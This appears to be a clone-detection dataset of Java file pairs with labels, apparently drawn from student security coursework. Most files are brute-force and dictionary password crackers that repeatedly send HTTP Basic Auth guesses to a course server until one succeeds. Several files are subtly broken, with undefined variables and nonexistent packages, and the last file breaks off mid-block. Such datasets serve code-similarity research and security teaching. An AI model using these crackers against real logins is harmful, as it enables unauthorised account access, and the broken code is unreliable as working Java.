public class PasswordTest {
private String strURL;
private String strUsername;
private String strPassword;
public PasswordTest(String url, String username, String password) {
strURL = url;
strUsername = username;
strPassword = password;
}
boolean func() {
boolean result = false;
Authenticator.setDefault (new MyAuthenticator ());
try {
URL url = new URL(strURL);
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
urlConn.connect();
if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) {
result = true;
}
}
catch (IOException e) {}
return result;
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
String username = strUsername;
String password = strPassword;
return new PasswordAuthentication(username, password.toCharArray());
}
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
233.java | 182.java | 0 | import java.util.*;
import java.io.*;
import java.*;
public class Dogs5
{
public static void main(String [] args) throws Exception
{
executes("rm index.*");
executes("wget http://www.cs.rmit.edu./students");
while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +"|"+ hash2);
BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String line=" " ;
String line1=" " ;
String line2=" ";
String line3=" ";
String[] cad = new String[10];
executes("./.sh");
int i=0;
while ((line = buf.readLine()) != null)
{
line1="http://www.cs.rmit.edu./students/images"+line;
if (i==1)
line2="http://www.cs.rmit.edu./students/images"+line;
if (i==2)
line3="http://www.cs.rmit.edu./students/images"+line;
i++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+line1);
executes("wget "+line2);
executes("wget "+line3);
String hash3 = md5sum("index.html.2");
String hash4 = md5sum("index.html.3");
String hash5 = md5sum("index.html.4");
BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String linee=" " ;
String linee1=" " ;
String linee2=" ";
String linee3=" ";
executes("./ip1.sh");
int j=0;
while ((linee = buf2.readLine()) != null)
{
linee1="http://www.cs.rmit.edu./students/images"+linee;
if (j==1)
linee2="http://www.cs.rmit.edu./students/images"+linee;
if (j==2)
linee3="http://www.cs.rmit.edu./students/images"+linee;
j++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+linee1);
executes("wget "+linee2);
executes("wget "+linee3);
String hash6 = md5sum("index.html.5");
String hash7 = md5sum("index.html.6");
String hash8 = md5sum("index.html.7");
boolean pict=false;
if (hash3.equals(hash6))
pict=true;
boolean pict2=false;
if (hash3.equals(hash6))
pict2=true;
boolean pict3=false;
if (hash3.equals(hash6))
pict3=true;
if (hash1.equals(hash2))
{
executes("./difference.sh");
executes("./mail.sh");
}
else
{
if (pict || pict2 || pict3)
{
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail2.sh");
}
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail.sh");
executes("./reorder.sh");
executes("rm index.html");
executes("cp index.html.1 index.html");
executes("rm index.html.1");
executes("sleep 5");
}
}
}
public static void executes(String comm) throws Exception
{
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String cad;
while(( cad = bf.readLine()) != null)
{
System.out.println();
}
p.waitFor();
}
public static String md5sum(String file) throws Exception
{
String cad;
String hash= " ";
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash",
"-c", "md5sum "+file });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((bf = cad.readLine()) != null)
{
StringTokenizer word=new StringTokenizer();
hash=word.nextToken();
System.out.println(hash);
}
return hash;
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
086.java | 182.java | 0 | import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempts);
break exit;
}
inp[2] = "";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty ("Authorization",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return " " + base64Encode (username + ":" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return encodedString;
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
153.java | 182.java | 0 | import java.io.*;
import java.net.*;
public class BruteForce {
public static void main(String[] args) {
BruteForce brute=new BruteForce();
brute.start();
}
public void start() {
char passwd[]= new char[3];
String password;
String username="";
String auth_data;
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try {
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
for (int i=65;i<=122;i++) {
if(i==91) { i=i+6; }
passwd[0]= (char) i;
for (int j=65;j<=122;j++) {
if(j==91) { j=j+6; }
passwd[1]=(char) j;
for (int k=65;k<=122;k++) {
if(k==91) { k=k+6; }
passwd[2]=(char) k;
password=new String(passwd);
password=password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
if( server_res_code.compareTo(required_server_res_code)==0 )
{System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );
i=j=k=123;}
}
}
}
}
catch (Exception e) {
System.err.print(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
150.java | 182.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary{
private static String password=" ";
public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Correct Format Filename username e.g<>");
System.exit(1);
}
Dictionary dicton1 = new Dictionary();
Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result);
}
private String Dict(String urlString,String username)
{
int cnt=0;
FileInputStream stream=null;
DataInputStream word=null;
try{
stream = new FileInputStream ("/usr/share/lib/dict/words");
word =new DataInputStream(stream);
t0 = System.currentTimeMillis();
while (word.available() !=0)
{
password=word.readLine();
if (password.length()!=3)
{
continue;
}
System.out.print("crackin...:");
System.out.print("\b\b\b\b\b\b\b\b\b\b\b" );
URL url = new URL (urlString);
String userPassword=username+":"+password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
URLConnection conc = url.openConnection();
conc.setRequestProperty ("Authorization", " " + encoding);
conc.connect();
cnt++;
if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("The Number Of Attempts : "+cnt);
t1 = System.currentTimeMillis();
net=t1-t0;
System.out.println("Total Time in secs..."+net/1000);
return password;
}
}
}
catch (Exception e )
{
e.printStackTrace();
}
try
{
word.close();
stream.close();
}
catch (IOException e)
{
System.out.println("Error in closing input file:\n" + e.toString());
}
return "Password could not found";
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
194.java | 182.java | 0 |
import java.io.*;
import java.util.*;
class BruteForce{
public static void main(String args[]){
String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
z = System.currentTimeMillis();
int at=0;
for(int i=0;i<password.length;i++){
for(int j=0;j<password.length;j++){
for(int k=0;k<password.length;k++){
pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);
try {
System.out.println("Trying crack using: "+pass);
at++;
p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
try{
p.waitFor();
}
catch(Exception q){}
z = p.exitValue();
if(z==0)
{
finish = System.currentTimeMillis();
float time = finish - t;
System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " );
System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " );
System.exit(0);
}
}
catch (IOException e) {
System.out.println("Exception happened");
e.printStackTrace();
System.exit(-1);
}
}
}
}
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
082.java | 182.java | 0 | import java.net.*;
import java.util.*;
import java.io.*;
public class BruteForce {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c ;
public BruteForce(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(char[] pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
BruteForce bf = new BruteForce();
char i, j, k;
for(i='a'; i<='z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='Z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='a'; j<='z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='a'; i<='z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='z'; j++){
if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
continue;
}
char[] pw = {i, j};
bf.checkPassword(pw);
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
char[] pw = {i};
bf.checkPassword(pw);
}
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
176.java | 182.java | 0 |
public class ImageFile
{
private String imageUrl;
private int imageSize;
public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}
public String getImageUrl()
{
return imageUrl;
}
public int getImageSize()
{
return imageSize;
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
105.java | 182.java | 0 |
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String dictionary="words";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println("Dictionary not found.");
}
catch(IOException e)
{
